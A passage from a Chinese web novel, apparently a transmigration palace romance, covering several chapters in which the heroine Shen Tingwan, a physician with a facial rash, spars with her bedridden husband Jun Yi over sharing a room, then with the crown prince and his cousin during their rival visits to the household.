他认识的是现在的沈听晚 君翊眼中划过一抹暗光,随即点头:“信。” “两个长相一模一样的人,在这世间确实难找,但也并非寻找不到,毕竟这大千世界无奇不有,什么都有可能存在,当然,每个人的性格都有所不同也是正常的。” “那你相信在你面前的人,是沈听晚吗?” 君翊笑了:“你怎么会问出这样的问题?你不是沈听晚,又是谁呢?” “你就从来都没有怀疑过,嫁给你的不是将军府的女儿?” 沈听晚一个接一个的问题抛向君翊,眼神定定的盯着君翊,生怕错过君翊脸上的一丝异常之色。 君翊大方的接下了沈听晚全部审视的眼神,淡淡勾唇浅笑,这一次,他没有回答沈听晚的话,而是反问说:“那你不是将军府的女儿,又会是谁?” 直觉让沈听晚一度怀疑,君翊已经知道自己来自哪里了。 可是,君翊的表情和言语之间,却都没有一点让人怀疑的地方 她有些看不懂眼前这个男人了。 或者说他从来都没有看懂过君翊。 “我当然是沈听晚。” “那就可以了。 你是沈听晚,这世间和你长相相似的人或许存在,但那不是你,你也不是别人,这就够了。” 他不认识从前将军府的女儿,嫁给他的是现在的沈听晚,和他有了交集的这个人,也一直是小姑年一样一个人,不是其他人。 然而,君翊的话越说越让沈听晚觉得糊涂,她听不懂君翊的话。 什么叫她不是别人这就够了? “现在可以那面纱摘下来让我看看了吗?”君翊没有再给沈听晚继续反问的机会,而是看向她,眼神寻求答案。 “行。”沈听晚深吸一口气,犹豫了一下,最后还是下定了决心。 既然君翊这家伙想看,那她摘下来就是了。 左右她看不到自己的脸,恶心到的也只会是君翊。 让他看到了也好,保不齐看到她这张难看的脸,君翊或许能收回对她的喜欢也说不定啊。 想到这儿,沈听晚也不再有一丁点犹豫,摆手伸向脑后去,便把脸上的面纱解了下来。 密密麻麻看上去红的不行的小疹子长满了沈听晚的脸,君翊视线看过去的时候,看到沈听晚的那张脸,却没有半分的嫌弃,反而心里隐隐有点心疼。 “是不是挺难看的?”沈听晚现在主打的就是一个破罐子破摔,反正君翊也不是要和她共度一生的人,对她来说,君翊不久就会彻底消失在她的生活里,所以,也不在乎自己的这张丑脸会给君翊带来什么了。 只不过…… 即便沈听晚早已经做好了被君翊嘲笑一顿,或者说满眼看她充满嫌弃和厌恶的眼神,可当话说出口之后,她心里头还是出现了一丝忐忑。 沈听晚也觉得自己现在的心情挺矛盾的,她既希望君翊看到她这样狼狈的一面会对她产生厌恶,会彻底放下对她的喜欢,这样她一年之后厉害,也不会有任何的压力。 可是在内心深处,却不是这样想到,甚至可以说还有些担心,君翊会不会就真的嫌恶她了…… 然而,君翊再次开口的话,却叫沈听晚怎么也没想到。 “你能不能给京城其他女子留一条活路?” “什么?” “王妃长相本就在京城数一数二,至少本王从前看过那么多姑娘,都不及你半分。 若是不起一些疹子遮掩锋芒,京城其他女子岂不是连门都不敢出了?” 君翊勾唇淡笑着出声。 沈听晚愣了一下。 随即噗嗤一声,没忍住竟然被君翊的话给逗笑了。 沈听晚不禁被气笑了,憋了君翊一眼:“王爷的这张嘴也是无人能比啊,这胡说八道的本事更是叫人望尘莫及呢。” “什么叫胡说八道?本王从不胡说,句句发自真心。” “你可得了吧,你可是王爷,这世间什么女子你见不到,比我好看的更是大有人在,在我面前说这些话,糊弄鬼呢?” 没错,她就是鬼。 君翊可不就是在糊弄她这个鬼吗? 见着沈听晚终有笑了,君翊才放心下来,只不过眼底的心疼居然是半分都未减。 “这些天不要让脸沾到脏东西,如果痒也忍住不要挠,免得抓破脸,会加重伤口。” “知道了,我自己就是大夫,你还有什么不放心的。”沈听晚撇了撇嘴无奈地道。 君翊这家伙的病都是她医好的,如果没有她,君翊的坟头草都快长起来老高了,还在这来担心她呢。 真是笑话。 “我还真没办法放心。”君翊严肃的道:“你难道不知医者不自医的道理?” “今晚你搬回来住。” 沈听晚听见这话立马炸毛不干了:“君翊!你干什么?” 君翊无辜的眨了眨眼:“本王能干什么?我现在浑身上下也只有头能动得了,你担心我对你做什么?” 沈听晚:“你对我做不了什么,但我不会和你睡在一起!” 君翊:“为什么?从前又不是没睡过。” “你!”沈听晚恼羞成怒,气的是咬牙切齿。 她就知道,君翊指定是没安好心。 刚才心里还有点感动这家伙还知道关心他,现在?呵! 她感动个毛线! “你别多想,让你搬过来与本王同住,是因为我晚上可以看着你,就你睡着之后的睡相,万一不小心无意识抓破了脸,可怎么是好? 有我在,我还能阻止你乱来。” 沈听晚冷眼睨过去,不屑的打量了君翊两眼:“就你现在这样,怎么阻止我?” 君翊:“本王可以把你叫醒,重睡。”他说的一本正经,认认真真,就连沈听晚都不知道该说些什么好了。 沈听晚深吸一口气:“总之,我既然搬出去了,就不会再同你睡在一张床上,你就死了这份心吧!” 君翊眼底划过一道暗光,随即嘴角勾起一抹弧度,对门外唤道:“暗祁。” 沈听晚心里顿时有种不好的预感,下一瞬便见暗祁从门外推门走进来。 “王爷,属下在!”暗祁恭敬地站在两人面前,随后就听见君翊轻飘飘来了一句。 第119章 我好了,你就同意分房睡? “去把偏房里王妃的东西搬进来,” 听到君翊的话,沈听晚瞬间你恼羞成怒,立马从椅子上跳起来:“君翊!” 看着沈听晚满脸怒气,犹如炸了毛的猫儿,君翊嘴角含着一抹若有似无的笑意来:“怎么了,王妃?” 王妃两个字,君翊的语气咬的极重,更是在提醒沈听晚,她现在是翊王妃,更是他的妻子。 夫妻两人同床共枕是在正常不过的事儿了。 而且如果他现在能动弹,那就用不着暗祁去搬东西了,他会直接去偏房,把有关沈听晚的所有东西都搬回来,然后直接把人按在床上了。 暗祁见着房间内王妃那剑拔弩张的架势,可以无视沈听晚直呼自家王爷名讳,忙不迭低下头应下:“是!”随后便像是脚下抹了油似的,一溜烟冲出了房。 沈听晚一脸恼怒的朝着君翊直瞪眼,没好气地开口:“君翊,你凭什么随便让人动我的东西!别忘了我们之前的约定……” “约定什么?”后面的话沈听晚还没来得及说出口,就被君翊给截住了,看着君翊那略带一点点得意的眼神,沈听晚深吸一口气:“你答应过我,私底下我们不能有过分亲密的接触!” “那好像不包括同在一张床上睡觉吧?”君翊慢悠悠地反问,语气中带着几分戏谑。 “你!”沈听晚气得说不出话来。 “本王什么?”君翊挑眉,声音低沉而富有磁性:“王妃,本王怎么做也是在为你考虑,担心你半夜睡着了控制不住自己的手乱挠,到时候再把脸抓花了,本王可是出于一片好心啊。” 他又顿了顿,目光灼灼地盯着沈听晚:“还有,王妃这么不想和本王睡在一起,是在怕什么?” 是怕自己会一个不小心爱上他吗? 君翊的问题让沈听晚忍不住直翻了好几个白眼,她气鼓鼓的叉着腰:“我怕什么?” “那好啊,王妃若是不怕,那就听话,放心等你脸上的伤好了,你若再想回偏房去住,我不会拦着你。” 见着君翊脸上没有一点说谎的心虚,沈听晚心里的火气才渐渐降下来些。 她看着君翊,又闷闷的试探道:“我好了,你就同意分房睡?” “自然。”君翊语气坚定,不容置疑。 “好!”沈听晚心里有些委屈,她已经受够了王府。 特别是她把这家伙给从鬼门关拉回来之后,君翊的一系列举动,都要沈听晚破大防了。 她明白,只要她不离开翊王府,她就永远摆脱不掉君翊的摆控。 不多时,暗祁也身上扛着一堆关于沈听晚的东西进了门,见着房间内的氛围依旧紧张的不行,暗祁决定,立马放下东西就赶紧跑! 事实上,暗祁也是这样做的,只见他以最快的速度将东西放好,然后又匆匆的向君翊和沈听晚两人行了礼:“王爷,王妃娘娘,早些休息,属下告退!”说着,又是一溜烟地像是逃命似的冲出了房门。 沈听晚见着暗祁那有些凌乱又狼狈出逃的架势,是既生气又觉得好笑。 她赌气般的坐在椅子上,也不准备睡觉,就那样背对着君翊。 君翊哭笑不得,小姑娘这是打算无声的抗议了? 就是因为他叫人把沈听晚的东西全都般进自己的房间? “沈听晚。” “干什么?”沈听晚扭过头去,冷声地质问。 看沈听晚那柳叶眉皱在一起的小脸,君翊无奈叹了口气:“还不准备睡觉吗?” “你睡你的!莫管我。” “本王若是睡着了,谁给你看着?” 沈听晚眉头皱的更深了些,眼底闪过一丝鄙夷:“那你是打算一晚上不睡都看着我?” “自然……不是。 好了,快在床上躺好吧,你现在需要充足的休息。”君翊这些天跟沈听晚在一起,性子也比以前要软下来不少,耐着脾气笑着哄道。 沈听晚起身,脸色依旧难看,哼声的说:“哼,要不是你折腾这一番,我在梦里都不知道和第几个帅哥约会了!” 帅哥? 约会?! 君翊的嘴角忍不住狠狠地抽了抽,更是好气又好笑,如果可以,他真想把沈听晚这小脑袋瓜打开,看看沈听晚脑袋里究竟想着什么乱七八糟的东西! 君翊深吸一口气,心里暗暗安抚着自己:莫生气,莫生气,气坏身子无人替…… 何止是君翊心里头郁闷,沈听晚更是在郁结,她起身,然后走到床边,脱下鞋袜,掀开被子一角直接躺了进去,然后紧闭双眼。 动作一气呵成,中间甚至连看都没看君翊一眼,心里默念道:莫生气莫生气,人生就像一场戏,因为有缘才相聚! 人是她自己挑的,王府是她要嫁的! 还有,再忍一年! 一年之后,她就能滚蛋了!到时候就再也不用忍受君翊这家伙的独断专行了! 沈听晚躺在有些熟悉的床上,君翊身上的那一股冷香一点点充斥着沈听晚的整个鼻腔,心下的愤怒也消散大半。 她心里忍不住泛起嘀咕,这君翊在床上躺了这将近一年半了,身上尽然没有一丁点奇怪难闻的味道,反而依旧香香的。 不得不说,暗祁暗蒙两个忠心的侍卫把君翊伺候的很好。 房间内光亮昏暗,只有不远处一只烛光微弱的亮着,沈听晚背对着君翊,将被子抱在怀里,她就不相信,她提前抱着被子,睡着之后还能紧抱着君翊不放! 君翊侧过头,静静凝视着沈听晚的后背,月光透过窗棂洒在她的发梢,为她镀上一层柔和的光晕。 沈听晚很快就睡着了,呼吸渐渐变得规律而又平缓。 然而,早已经熟睡的沈听晚,却并不知道,在她睡着之后,君翊就那样侧着脸一直看着她直到天亮。 一年的时间,足够了。 小姑娘,希望一年之后,我们能够成为真正的夫妻…… 让我守护你,为你遮风挡雨,让我陪伴你,我们并肩走过这漫长的一段人生路,让我照顾你,直到我们白发苍苍…… 好不好? 君翊在心里问着,这些话,一直封存在他的内心深处,也是他从前从未想过要和任何人说的话。 第120章 君翊气的要从床上跳起来! 从小到大,君翊从开没有过这样的感觉,我也从来都没有想过自己有一天会想要用命去守护一个女人。 而这个女人,也值得他的守护。 沈听晚这一觉直接睡到了天亮,起初她还想警惕这些,想要和君翊一直赌气到底。 只是可惜,一旦睡着的沈听晚,就仿佛像是变了个人似的,又什么都不顾的转身抱过去。 于是乎,等沈听晚清早醒来,一睁开眼睛看到的就是,自己眼前的那好大的一张帅脸就赤裸裸的怼在她的面前。 不过值得庆幸的是,君翊还并没有醒过来,他还在睡着。 他闭着眼,微歪着头靠向沈听晚,嘴巴微微半张着,呼吸极为规律。 能够看得出来,君翊现在还在熟睡当中。 沈听晚轻轻挑了挑眉。 君翊这家伙,不会真的守了她一晚上,刚刚入睡吧? 想到这里,沈听晚又立马摇头。 怎么可能! 她这个想法真是太好笑了,睡会为了守她,一晚上强忍困意不睡觉的啊? 在沈听晚认识范围内,这个世上就没有一个人,会为了她做这些事情的! 趁着君翊熟睡的功夫,沈听晚轻手轻脚的把手和脚从君翊的身上移开,然后坐在床上暗松了一口气。 还好君翊这家伙还在睡着,不然要是醒来正好对上君翊那双眼睛,就真的太尴尬了。 昨天还跟人家赌气不肯和他睡在一张床上呢,结果一大清早就抱着人家的身体不放,不知道的,还以为沈听晚对贪恋君翊的身子呢! 沈听晚想到这里,就忍不住直摇头,转头又看了君翊那张熟睡的脸,不忍直视地收回视线,浑身哆嗦一下。 她怎么就这么不争气呢! 虽然说君翊这副皮囊长得是不错,她梦里的那些帅哥根本就没法比。 但是…… 她怎么能为了这一棵树,放弃一整片森林呢! 沈听晚暗暗发誓,等她出了王府彻底和君翊摆脱夫妻关系之后,她一定找一个偏僻的小村子,买下一处大宅子,然后……养一群帅哥伺候她。 什么小奶狗,小狼狗,可奶可凶…… 趁着君翊还在睡着,沈听晚蹑手蹑脚的下了床,然后推门出去了。 而就在沈听晚出门的那一瞬,君翊原本闭着的双眼,也同时睁开,眸底一片清明还带着一丝怒不可遏。 找一群帅哥伺候她? 还想着放弃他这棵树,去寻找整片森林? 还要小奶狗,小狼狗?! 君翊要被气的从床上跳起来了。 原来刚才沈听晚在床上幻想着,不经意间,竟然把心里所想全部嘟囔了出来,正好被君翊听了个正着。 还一个小姑娘啊,没想到她心里头还有这么大的宏愿呢! 生气过后,君翊心里又忍不住担心起来。 王府里的男人可不少,侍卫就有百十来号人。 虽然说在长相方面,君翊有那个自信,自己的这副容貌,京城之中都难寻到比他还俊郎的男人。 当然这不是君翊自恋啊,这可是全京城上下所有女子共同打成的共识。 但是还是难保有长相对沈听晚眼光的死男人存在。 为了沈听晚,他要不要那王府里所有的侍卫都遣散了,只留暗祁暗蒙两个人? 暗祁暗蒙好像也不能留,这段时间他不能起身,所有事都是这两个家伙和小姑娘对接的。 小姑娘不会看上那两个家伙吧…… 他原本英俊的面庞,一双桃花眼更是第一次布满了危机感。 君翊感觉自己的头都要大了,他得尽快想个主意,把沈听晚身边所有可能存在的烂桃花都砍了才行。 他心里想着,最好的主意就是尽快能站起来,这样有他站在小姑娘身边,晾那帮臭男人也不敢接近他的女人! 君翊心里的郁闷沈听晚是分毫不值,她此时正从厨房捡了药出来,便听到下人来禀,有人要探望君翊。 来的人不是旁人,正是那个前些天被好宝儿诬陷和她有“奸情”的君宁宇。 “侄儿见过皇婶……你这脸是怎么了?”君宁宇一见到沈听晚,便客气的行李,可无意间抬头,就看到了沈听晚那张张满红疹的面颊,不禁忍不住开口。 沈听晚礼貌性的笑了笑:“无碍,就是吃错了东西。” “皇婶身份贵重,还是要当心一些,侄儿府上有上好的焕颜膏,等下派人给皇婶送来一些。” “多谢,不过不劳烦宇世子了,我这伤没那么严重,过些天就会好,就不浪费那上等的焕颜膏了。”君宁宇的话不像有虚,可沈听晚却不想欠他这份人情。 毕竟她来到这个世上之后,除了君翊以外,剩下一个没有摸透的人就是眼前的君宁宇。 如果可以的话,沈听晚都不想和这样潜藏危险的人物有半点交集。 “皇婶不必同侄儿客气,你现在这样,皇叔也会担心你,为了皇叔的身体,侄儿这么做也是应该的。” 沈听晚抽了抽嘴角。 还真是不忘时刻拿着对君翊的关心,对她攀上关系啊! 她默默地看了君宁宇一眼,然后不算亲近的笑了笑:“那就多谢宇世子了。宇世子此番到府,可是来看望王爷的?我派人带起过去。” “皇婶不准备同侄儿进去?” “哦,厨房里还煎着药,不能没人看着,我让暗祁带你去看王爷。” 药的确已经煎好了,沈听晚这么说,也是找借口不想和君宁宇单独相处。 只不过君宁宇毕竟是客,做的太过却的确不好。 见状,君宁宇也不好再坚持,向沈听晚行了礼过后,只得跟着暗祁身后朝着王府内走去。 沈听晚站在门口,看着君宁宇离开的背影,脸色也由刚才客气的笑转变成严肃,俊美的眉头更是紧拧着。 君宁宇这个时候来看望君翊,是为了什么? 要知道,君翊重伤躺在床上的这一年里,除了前两个月,还有人来看望他,之后的一段时间里,王府的大门口可是门可罗雀,在无人来看望过这个昔日战神。 因为大家都知道,君翊再也站不起来了,今往后他就是一个废人。 第121章 都来看望君翊? 没有人会在一个废人的身上多耽误功夫。 这就是人性。 所以现在,君宁宇突然间登门,倒是让沈听晚有些摸不着头脑了。 算了,既来之则安之吧。 君宁宇来的目的究竟是什么,迟早会知道。 沈听晚想明白过来这一点,便也不再纠结,转身打断往府内走去。 “皇婶方才和君宁宇在说什么,有说有笑的,这么高兴啊?这不知道的,还以为你和宇世子才是天生一对呢。” 君宁玄一身明黄色太子金袍加身,一脸挑衅的表情看向沈听晚,和他那日被皇帝训斥一副怯懦的样子截然不同。 沈听晚转头看过去,眉头不禁紧蹙。 这才不到一个月,他怎么就被放出来了? 沈听晚的脸色不着痕迹的冷了下来,向后退了半步,拉开了自己和君宁玄的距离,并未开口。 君宁玄脸上带着挑衅的笑:“皇婶看到本太子这是很意外啊?没想到吧,父皇怎么快就把本太子的禁足给解了,本太子想,你现在心里是不是都要被气炸了,嗯?” 沈听晚去在父皇面前告状又如何呢,他被罚禁足又怎么样呢,他还不是被提前解了禁足。 这个女人,所做的一切,也不过是让他在东宫多待上几天而已! 沈听晚微眯了眯双眼,眸中闪过一丝冷意,勾起一抹不达眼底的笑:“陛下体念父子情深,提前解了太子的禁足,想不到太子这说话还是口无遮拦,毛毛躁躁的。 罢了,那本王妃这个作为长辈的,还是好心提醒太子,以后出门外在,还需要谨言慎行的好,若是再被人抓到了什么把柄,到时候陛下有心维护太子殿下,怕是也会引来众怒啊。” 话音一落,沈听晚还不忘附赠一个长辈看晚辈的笑脸,这是存心想要气死君宁玄。 “沈听晚!你真以为你嫁给了皇叔,就是本太子的长辈了,就凭你也配! 你看你现在满脸疹子,本太子看了都觉得恶心!”沈听晚的一句话,瞬间点燃了君宁玄满腹腔的怒火来,怒声喝道 “配不配本王妃还真不知道,但名义上,本王妃走到哪儿,都是你的皇叔,太子,就这一点,你得认。” 话落,沈听晚更是端起了一副长辈的架子,微直了直身板教训道:“刚才太子直呼本王妃的名讳,这就是没规矩。” “还有。”沈听晚的目光微寒,抬手轻抚了一下脸颊,又勾起一抹讽刺的笑打量着君宁玄:“本王妃脸上的疹子是暂时的,但是太子殿下绝嗣却是永远都好不了的。” 他还有那个脸笑话自己?简直是可笑。 绝嗣!又是绝嗣!沈听晚这个该死的女人就不能再说点别的吗! 偏偏就只往他心里头最痛的地方猛戳。 君宁玄紧紧握着拳头,恨不得一拳打在沈听晚那张得意忘形的嘴脸上,但他却知道,不能这么做。 他闭了闭眼,不去看沈听晚那张讨人厌的嘴脸,他倒要看看,等那个瘫子死了之后,沈听晚还有什么本事敢在他的面前嚣张! 那个瘫子的命可活不长了,沈听晚现在是翊王妃又如何呢,等皇叔一死,她照样得下去给一个瘫子陪葬! 到时候沈听晚如果还想活命,那唯一的一条路就是跪在他这个太子的脚下求他。 这么一想,君宁玄的心情也平静了下来,他缓抬起脚,迈着轻快的步伐上前两步,走到沈听晚的面前时,还不忘笑着看她一眼:“本太子很期待你以后也能保持着种嚣张,以为嫁给皇叔就可以得意忘形了,到时候可别来哭着求到本太子头上来才好呢。” 现在的嚣张算得了什么,以后沈听晚失去沈家的依靠,死了丈夫,还能这么仗着他长辈的势,那才算有能耐。 沈听晚也是一向人不犯我我不犯人,人若犯我,那就天诛地灭的原则,面对君宁玄挑衅的眼神,沈听晚微微扬了扬头,右手轻抬抚了抚鬓角的碎发,漫不经心地道:“太子还请放心,本王妃定不会让你失望的。 不过说到得意,”沈听晚想了想有道:“这门婚事可是我主动求来的,而且得偿所愿,自然会和王爷相濡以沫,共到白首的。” 牙尖嘴利! 君宁玄被沈听晚气到,剧烈的咳嗽两声。 然而沈听晚却连眼神都没给他一个,连向后退去两步,抬手用帕子轻捂住口鼻,略带嫌弃的凉凉道:“太子有病,还是别出来祸害人的好。” 她可不想被传染了病气。 不过说道君宁玄,她现在手上唯一想要用来拿捏她的牌不过是君翊和沈家么,还有什么? 现在君翊已经被她医好了大半,而且沈家,有她在,就绝对不会让人动沈家分毫。 她的这两座靠山,一个都不会倒下去。 就是不知道,到时候君宁玄知道这些之后,会不会气的回东宫去乱砸东西来泄愤呢! 沈听晚比君宁玄矮上一个头,可是气势上,她却半点不输给君宁玄,沈听晚从骨子里散发出来的傲气与自信,就连君宁玄太子加身也很难压的住。 君宁玄说好听点是太子,但实际上早已经被皇室抛弃大半,更何况他绝嗣这也是事实,东陵的太子绝嗣,无法拥有自己的后嗣,这样的太子,有谁会拥护? 如今的所有嚣张,也不过是仗着皇帝对他的那一点父子之情。 若是他还天作地作,这份父子之情怕是很快也会被消磨殆尽。 到时候,君宁玄手上还有什么? “你才有病!你们全家都有大病!” 君宁玄被气的直跺脚,连先前他答应过自己母后的事儿都抛到了脑后去了。 然而面对君宁玄的暴跳如雷,沈听晚却丝毫不为所动,就静静的站在那里,像是看戏似的,饶有兴致地把君宁玄当成猴儿来看。 见状,君宁玄冷静下来,后知后觉才恍然大悟,他刚才险些掉进了这个贱人设下的陷阱里去! 他缓了缓,强忍着胸腔里的怒意,冰凉的眼底闪过一丝笑:“那本太子就拭目以待。” 第122章 太子殿下,不到底进不进去? 君宁玄显然不知道沈听晚心里的想法,在他看来,他的太子之位也只有那个老婆子不满而已,不过太后毕竟是一个深宫妇人,就算强势了些,也做不得他父皇的主。 只要他是父皇的唯一皇子,那他的太子之位,那就任何人都动摇不了他的地位! 沈听晚笑了一声没有说话,见着君宁玄还想说什么,沈听晚又好心的提醒道:“太子今儿被放出来,此番道王府所为何事?” 君宁玄的身子一僵,脸色有些变了变。把刚到嘴边的话又咽了回去。 他不是来看望那个瘫子的,确切地说,是打着看望皇叔的幌子来和沈听晚缓和关系的。 皇后费了大半天的劲儿,好不容易让皇帝松了口,提前把君宁玄的禁足给解了。 然而君宁玄一出东宫,就被皇后传到了坤宁宫去。 君宁玄也刚准备想要和自己的母后诉苦,可哪成想,母后第一句话就是命她去给沈听晚道歉! 君宁玄的心里自然是又惊又怒,当然是第一时间就质问皇后。 他被禁足,还不是因为这个贱人搞的鬼,母后倒是好,她竟然要让自己屈尊来给沈听晚道歉! 这让他怎么能忍受得了。 见着君宁玄的神色,沈听晚便也猜出个大概来,她嘴角微勾:“看太子这样子,怕不是来看望王爷的? 那就恕不远送了,宇世子还在里面看望王爷,本王妃要去陪着。” “你站住!” 见着沈听晚果然要走,君宁玄立马急了,脸色也很快拉了下来,脸上的表情也终于维持不住。 沈听晚转头冷嗤一笑,微挑了挑眉,就一本正经的道:“太子到底还有何事?” 君宁玄深吸一口气,又沉声开口:“本太子就是来看望皇叔的,你是想要把我拒之门外吗?” “哦,那是本王妃误会了,还以为太子刚被放出来,就想着要来找麻烦呢。” 君宁玄被气疯了:“在你眼里本太子就是那么小气的人。” 这回沈听晚没说话,只是那眼神看向君宁玄却是显而易见。 君翊深吸一口气:“那现在皇婶不请本太子进去吗?” 沈听晚笑着挑眉,侧身抬手做了个“请”的姿势。 君宁玄是来看望君翊的,她自然说不出什么,但君宁玄要是想要羞辱她,那她可就不是从前那个软柿子了。 君宁玄站在沈听晚的跟前,看着眼前的沈听晚,眉头不禁紧蹙起来,眼底满是打量与不解。 他面前的沈听晚,好像变了。 沈听晚从前是他未来的太子妃,君宁玄自然是私底下打探过的。 那时候,沈听晚在得知她被皇帝赐婚嫁给自己之后,你总是喜欢躲在角落里用一双深情的眸子偷偷的来看他。 只不过,他不喜欢沈听晚,不仅不喜欢,而且还很是厌恶。 她空有一股好看的皮囊,可是却无聊又无趣,浑身上下没有半点灵气。 这样的女人,就算是世间只剩下她一个女人,君宁玄都不会娶的存在。 可是直到他们的大婚之夜,他与初儿在他们的洞房里缠绵悱恻被沈听晚发现之后,她的性情才大变的,而且现在,沈听晚看他的眼神也充满了憎恶与疏离。 难不成,沈听晚现在还喜欢他? 君宁玄想着,肯定是的,他是堂堂太子,世间女子很难不为他动情的吧,更何况,沈听晚如果不喜欢他,我可能会性情大变,有怎么会赌气般的转嫁给一个瘫子呢。 只不过……君宁玄蹙着眉头,他不过是犯了全天下男人都犯过的错罢了,何况身为顶天立地的男儿,那个不是三妻四妾的,沈听晚至于当众捉奸,还要烧死他和初儿吗? 就凭沈听晚这善妒的性子,就不配当他的太子妃,更别说成为那个母仪天下的皇后了。 想到这里,君宁玄的心里升起一股得意与恼怒来。 他得意于自己身上的魅力,叫沈听晚即便对他有怨气,还是答应了母后劝沈家投靠他的阵营,也恼怒沈听晚为了赌气,转嫁给他那个瘫子皇叔,让他成为全京城的笑话。 不过,想到沈听晚还是喜欢他的,君宁玄的怒气也消散了一半。 如果沈听晚真能劝说沈家为他所用的话,那他也会记得这份情,他虽然不会再娶沈听晚,但从前的恩怨他会一笔勾销,也算是回应了沈听晚的这份喜欢了。 他君宁玄,不是忘恩负义的人,不过沈听晚带给他的这份羞辱,他也永远不会忘。 不杀了沈听晚,不对沈家落井下石,是他对沈听晚最后的大度。 君宁玄默默的在心里决定…… 面对君宁玄脑海里一系列的奇葩想法,沈听晚并不知道,如果知道了,也会冷冷的不屑一顾,甚至还会咒骂一声:从哪来的这么缺心眼的疯子。 君宁玄原本是想要见过沈听晚之后,完成母后交待给他做的事,给沈听晚一个台阶下,也算是道了歉便要走的。 只不过他是没想到今天君宁宇竟然也会来,于是乎就突然改变了主意。 他心里暗自讽刺这:君宁宇这家伙就这么迫不及待吗,为了对付他,连马上就要死的病秧子也要拉拢,真是有意思。 想到君宁宇那个不自量力的家伙,君宁玄说不出来是讽刺还是愤怒。 一个小小的世子,也想要惦记着本不该属于他的位置,要说君宁宇是他的亲兄弟,或许还能和他这个太子争上一争,或许他还会对君宁宇有所忌惮。 只不过现在…… 哼。 又太后那个老婆子撑腰又有什么关系呢,不是父皇的亲生血脉,君宁宇就一辈子都别想斗得过他这个嫡亲太子。 “太子殿下,你到底是进还是不进?”沈听晚见着君宁玄站在原地迟迟没有反应,而且脸色也是时而愤怒时而有得意,沈听晚都觉得君宁玄这家伙是不是有什么精神分裂啊,鄙夷的问道。 君宁玄回过神,抬脚往王府里走去:“自然是进的。” 沈听晚停在原地,看着君宁玄迈着悠闲的步伐朝着里面走去,不禁撇了撇嘴。 第123章 交锋 到现在,她都没想明白,君宁玄要来看望君翊就看望,干嘛给要和她在王府门口浪费她这么长时间! 不再多想什么,沈听晚也朝着后院走去,只不过,她和君宁玄一前一后,沈听晚还可以放缓了步子。 至于为什么? 别问。 问就是沈听晚连并肩而行都不愿意和君宁玄一起。 两人一前一后走进君翊的房间,此时房间里除了君翊和君宁宇,还有暗祁恭敬的站在一旁候着。 这是王妃娘娘的吩咐,除了王府中几个亲信和王妃以外,所有外人如果要见王爷,都必须要有人专门看着才行。 然而,君宁玄在迈进门之后,看到床边的君宁宇,脸色却是陡然间沉了下来。 “宇世子对皇叔还是格外会献殷勤的啊!”君宁宇站在门口负手而立,看着君宁宇在床边给君翊喂着刚松开的汤药亲力亲为,更是不禁被气笑了。 都是千年的狐狸,真当他不知道君宁宇到底是怀着什么心吗! 这殷勤都献到床边上去了,是要让人觉得,他这个侄儿孝顺皇叔,显得他这个太子不仁孝? 面对君宁玄的质问,君宁宇脸上没有半点挠色,他将药碗递给一旁的暗祁,之后转过身来,一袭碧色长跑,温润十足,大大方方的起身上前一步给君宁玄行礼:“皇兄。” “说是你皇兄,本太子只有一个皇妹在皇宫里养着,你算什么东西?”君宁玄不冷不淡的哼了一声。 从前君宁宇和君宁玄两人是堂兄弟,虽然不算熟络,但表面上的和气还是能维持的。 只不过自打君宁宇成为了太子伴读之后,也算是让这两堂兄弟彻底撕破了脸,太子连表面上的兄友弟恭也不愿意再装了。 面对君宁玄这一而再再而三的挑衅,君宁宇更像是没脾气似的,脸上的笑意不减,卑躬的态度十足:“是臣妄言了,不该与太子殿下攀亲,请太子殿下恕罪。” 君宁玄将君宁宇在他面前的卑躬屈膝看在了眼里,心情也算是好了大半。 不过脸色还是一副阴沉之色:“行了,宇世子现在可是深受皇祖母器重,本太子怎么敢受宇世子的一声道歉?保不齐哪天,宇世子再到太后面前告本太子一状呢!” “臣不敢。” 沈听晚虽然是跟着君宁玄一同进门来的,但很明显,她可没打算掺和到这两人的口角之中,她走到一旁椅子上坐好之后,我把自己当成了隐形人,一脸淡定的看着床上的君翊。 君翊暂时也没有要开口的意思,静静地躺在床上,没打算帮任何人说话,抬眼却在看到君宁宇的身上时,眸光微闪一瞬。 君宁宇把谦卑的姿态做到了极致,看样子像是十分畏惧太子,可事实上却不然。 君宁宇的姿态放的越低,还会更加引得太子趾高气昂,从而让太子放松警惕,继而接连犯错。 不得不说,君宁宇的这一计用的十分巧妙,就连在一旁选择袖手旁观来看戏的君翊和沈听晚,都觉得有些自愧不如啊。 君翊在心中暗想着:这太后果真是给太子找了一个劲敌! 而且这个劲敌,君宁玄这个太子恐怕斗不过。 不仅斗不过,怕是到最后怎么输得,太子都想不到呢。 君宁宇无意间扫过君翊的脸上,见到皇叔那满眼尽是意味深长的神色打量着自己,便知道皇叔是把他的计划给看穿了,转眼再看一旁淡定的沈听晚,更是一副看透不说破的笑脸。 君宁宇心下一顿。 没想到他的计划,在皇叔和皇婶的面前,竟然这么快就被看穿了。 事实上,君翊和沈听晚这两人就是一大一小的两只狐狸,什么事都没办法轻易瞒的了他们。 但是看着眼前这两人似乎都没有想要拆穿的意思,君宁宇也不禁放了心,转眼看向君宁玄,语气带着恭敬:“太子殿下,臣知道太子与臣之间误会颇深,但这里是皇叔的王府,不如太子殿下与臣暂放往日恩怨,一同先看望皇叔如何?” 这话便是明摆着告诉大家,君宁玄这自打一进门到现在,一直都在对他冷眼热讽,却也不见太子对自己的皇叔有多尊重,连进门行一个晚辈礼都没有做过。 再次给君宁玄的身上,又扣上了一顶不敬长辈,目无尊长的帽子。 沈听晚坐在一旁的椅子上,手上捧着茶杯,一双眼极其努力的克制着不往两人的身上看,心里头却是要笑出了花来。 哈哈哈! 好一个君宁宇啊! 这接二连三的给君宁玄设下套来,可惜君宁玄一次都没招架得住,到现在还没看明白君宁宇的真正目的呢。 表面上看着这个宇世子对堂兄一味退让,让人觉得他害怕太子,可是谁能想到,就是这样,才是他一步步将太子引入自己圈套之中的计策啊。 君宁玄也后知后觉的发现,事情开始变得有些不大对劲了。 他也感觉到,君宁宇对他可不像是表面上看上去的那么恭敬温和,自己似乎有什么地方忽视了…… 不过有句话说的没错,他们是在翊王府,不是在外面,更不是在东宫,他这个太子,却是不应该在皇叔的面前放肆。 想到这里,君宁玄才转眼看向床上一言不发的君翊,看上去精气神不错,也不像是马上就要死的瘫子。 君宁玄心下更加疑惑了,不是说皇叔活不过年关吗? 他看着皇叔的起色,怎么看都不像是要死的人啊。 心里头怀揣着疑惑,君宁玄还是草草的向君翊行了礼,然后问候了君翊身体的情况。 君翊都是不冷不淡的回应,不反感,也没有对这个侄儿太过熟络。 